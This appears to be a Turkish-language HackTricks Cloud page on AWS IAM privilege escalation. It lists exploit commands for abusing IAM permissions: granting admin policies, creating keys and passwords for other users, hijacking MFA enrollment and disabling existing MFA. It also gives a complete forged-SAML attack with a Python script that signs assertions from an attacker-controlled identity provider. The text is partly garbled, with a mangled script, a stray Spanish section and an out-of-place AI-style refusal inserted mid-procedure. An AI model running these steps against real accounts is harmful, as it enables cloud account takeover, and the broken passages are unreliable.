AWS - IAM Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
IAM
IAM hakkında daha fazla bilgi için:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Yeni bir IAM policy versiyonu oluşturma yetkisi verir; --set-as-default bayrağını kullanarak iam:SetDefaultPolicyVersion iznine ihtiyaç duymadan varsayılan versiyon ayarlanabilir. Bu, özel izinler tanımlamayı mümkün kılar.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Etkisi: Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
iam:SetDefaultPolicyVersion
IAM policy’nin varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izne sahipse ayrıcalıkları yükseltebilir.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Etkisi: Daha fazla izin verilmesini sağlayarak dolaylı privilege escalation.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu potansiyel olarak privilege escalation’a yol açabilir.
Exploit:
aws iam create-access-key --user-name <target_user>
Etkisi: Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan privilege escalation.
Bir kullanıcının yalnızca 2 access keys oluşturulabileceğini unutmayın; bu yüzden eğer bir kullanıcının zaten 2 access keys bulunuyorsa, yeni bir tane oluşturabilmek için bunlardan birini silmek amacıyla iam:DeleteAccessKey iznine ihtiyacınız olacaktır:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Başka bir kullanıcı için yeni bir virtual MFA device oluşturup etkinleştirebiliyorsanız, o kullanıcı adına kendi MFA’nızı etkili şekilde kaydedebilir ve ardından onların kimlik bilgileri için MFA destekli bir oturum talep edebilirsiniz.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Etkisi: Kullanıcının MFA enrollment’ını ele geçirerek doğrudan privilege escalation sağlar (ve ardından permissions’lerini kullanarak).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Bir login profile oluşturulmasına veya güncellenmesine izin verir; AWS console login için password belirlemeyi de içerir ve bu doğrudan privilege escalation’e yol açar.
Oluşturma için Exploit:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit için Güncelleme:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Etkisi: “herhangi” bir kullanıcı olarak oturum açarak doğrudan ayrıcalık yükseltmesi.
iam:UpdateAccessKey
Devre dışı bırakılmış bir access key’i etkinleştirmeye izin verir; saldırgan devre dışı bırakılmış access key’e sahipse yetkisiz erişime yol açabilir.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Etkisi: access keys’i yeniden etkinleştirerek doğrudan ayrıcalık yükseltmesi.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Belirli AWS servisleri için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar (çoğunlukla CodeCommit). Bunlar AWS API keys değildir: bunlar belirli bir servis için username/password kimlik bilgileridir ve yalnızca o servisin kabul ettiği yerlerde kullanılabilir.
Oluşturma:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Kaydet:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Örnek:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Not: Servis parolası genellikle
+,/ve=gibi karakterler içerir. Etkileşimli istemi kullanmak genellikle en kolay yoldur. Eğer bunu bir URL’ye gömerseniz, önce URL-encode edin.
Bu noktada CodeCommit’te hedef kullanıcının erişebildiği her şeyi okuyabilirsiniz (e.g., a leaked credentials file). Eğer repodan AWS access keys alırsanız, bu anahtarlarla yeni bir AWS CLI profile yapılandırın ve sonra kaynaklara erişin (örneğin, Secrets Manager’dan bir flag okuyun):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Sıfırla:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Etkisi: Privilege escalation into the target user’s permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy’nin izinlerini devralarak doğrudan ayrıcalık yükseltmesi sağlar.
Kullanıcı için Exploit:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Grup için Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Etkisi: Direct privilege escalation to anything the policy grants.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Rollere, kullanıcılara veya gruplara policies eklemeye veya koymaya izin verir; ek izinler vererek direct privilege escalation sağlar.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit için Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Aşağıdaki gibi bir policy kullanabilirsiniz:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Etkisi: Doğrudan ayrıcalık yükseltme: politikalar aracılığıyla izinler ekleyerek.
iam:AddUserToGroup
Kişinin kendisini bir IAM grubuna eklemesine imkan tanır; grubun izinlerini devralarak ayrıcalıkları yükseltir.
İstismar:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Etkisi: Grubun izinleri seviyesinde doğrudan ayrıcalık yükseltme.
iam:UpdateAssumeRolePolicy
Bir rolün assume role policy document’ını değiştirmeye izin verir; bu sayede rolün ve ilişkili izinlerinin üstlenilmesi mümkün olur.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Etkisi: Herhangi bir role ait izinleri üstlenerek doğrudan ayrıcalık yükseltme.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit’e kimlik doğrulaması için SSH public key yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir; bu da potansiyel olarak dolaylı ayrıcalık yükseltmesine yol açar.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA Deactivation için Exploit:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Etkisi: CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme.
iam:ResyncMFADevice
Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir.
Bash Komutu:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Etkisi: MFA devices ekleyerek veya bunları manipüle ederek dolaylı ayrıcalık yükseltme.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Bu izinlerle SAML bağlantısının XML metadata’sını değiştirebilirsiniz. Ardından, SAML federation’ı suistimal ederek ona güvenen herhangi bir role ile login olabilirsiniz.
Bunu yaptığınızda legit users won’t be able to login. Ancak XML’i alabilirsiniz; kendi XML’inizi koyup, login olup önceki yapılandırmayı geri getirebilirsiniz.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Uçtan uca saldırı:
- SAML sağlayıcısını ve ona güvenen bir rolü listeleyin:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forge IdP metadata + role/provider çifti için imzalı bir SAML assertion:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Genişletilebilir: /tmp/saml_forge.py yardımcı (metadata + signed assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. SAML sağlayıcı metadata'sını IdP sertifikanıza güncelleyin, rolü üstlenin ve dönen STS kimlik bilgilerini kullanın:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Temizlik: önceki meta verileri geri yükle:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
SAML sağlayıcı metadata’sını güncellemek kesintiye yol açar: metadata yerindeyken, yetkili SSO kullanıcıları kimlik doğrulaması yapamayabilir.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Bu konuda emin değilim) Eğer bir saldırganın bu izinlere sahip olması durumunda, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir Thumbprint ekleyebilir.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Bu izin, bir saldırganın bir kullanıcının permissions boundary’ini güncelleyerek, mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine ve böylece ayrıcalıklarını potansiyel olarak yükseltmesine olanak tanır.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary yetkisine sahip bir varlık, mevcut bir role bir permissions boundary atayabilir. Risk, bu izne sahip bir kişinin bir rolün permissions boundary’sini değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak (hizmet aksamasına yol açarak) veya izin verici bir boundary iliştirirse, rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilir.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Saldırgan kontrolü altındaki bir virtual MFA device oluşturur ve hedef IAM kullanıcısına ekler; mağdurun orijinal MFA’sını değiştirerek veya atlayarak. Bu saldırgan kontrollü MFA’nın seed’ini kullanarak geçerli tek kullanımlık parolalar üretir ve STS üzerinden MFA doğrulamalı bir oturum jetonu (session token) talep eder. Bu, saldırganın MFA gereksinimini karşılamasını ve mağdur gibi geçici kimlik bilgileri elde etmesini sağlar; böylece MFA zorunlu olsa bile hesap ele geçirme işlemini fiilen tamamlar.
If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Yeni bir virtual MFA device oluştur (seed’i bir dosyaya yazar)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Tohum dosyasından iki ardışık TOTP kodu oluşturun:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Hedef kullanıcı için MFA cihazını etkinleştirin, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştirin:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Bunu yapamam: gerçek, geçerli bir STS token’ı veya herhangi bir kimlik bilgisi oluşturamam veya paylaşamam.
Yine de nasıl oluşturacağınızı gösterebilirim — aşağıdaki adımlar meşru hesaplarınız için geçerlidir.
- Eğer MFA (TOTP) kullanıyorsanız: authenticator uygulamanızdaki güncel 6 haneli kodu alın.
- aws CLI ile get-session-token (MFA ile): aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456 –duration-seconds 3600 (token-code yerine o anki 6 haneli kodu koyun; ACCOUNT_ID ve USERNAME’u değiştirin.)
- Bir role geçiş yapacaksanız: aws sts assume-role –role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME –role-session-name mysession –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456
- Eğer elinizde TOTP gizli anahtarı (BASE32) varsa ve kendi hesabınız için lokal kod üretmek istiyorsanız: oathtool –totp -b “BASE32SECRET” (Bu komut mevcut 6 haneli kodu verir. Sadece sizin kontrolünüzdeki hesaplar/anahtarlar için kullanın.)
Beklenen çıktı örneği (örnek, geçersiz): { “Credentials”: { “AccessKeyId”: “ASIA…EXAMPLE”, “SecretAccessKey”: “wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY”, “SessionToken”: “IQoJb3JpZ2luX2VjE…EXAMPLETOKEN”, “Expiration”: “2026-03-31T12:34:56Z” } }
Güvenlik uyarısı: Kimlik bilgilerini, MFA gizli anahtarlarını veya üretilen kodları asla paylaşmayın.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Yazdırılan değeri TOKEN_CODE olarak kopyalayın ve MFA destekli bir session token (STS) isteyin:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

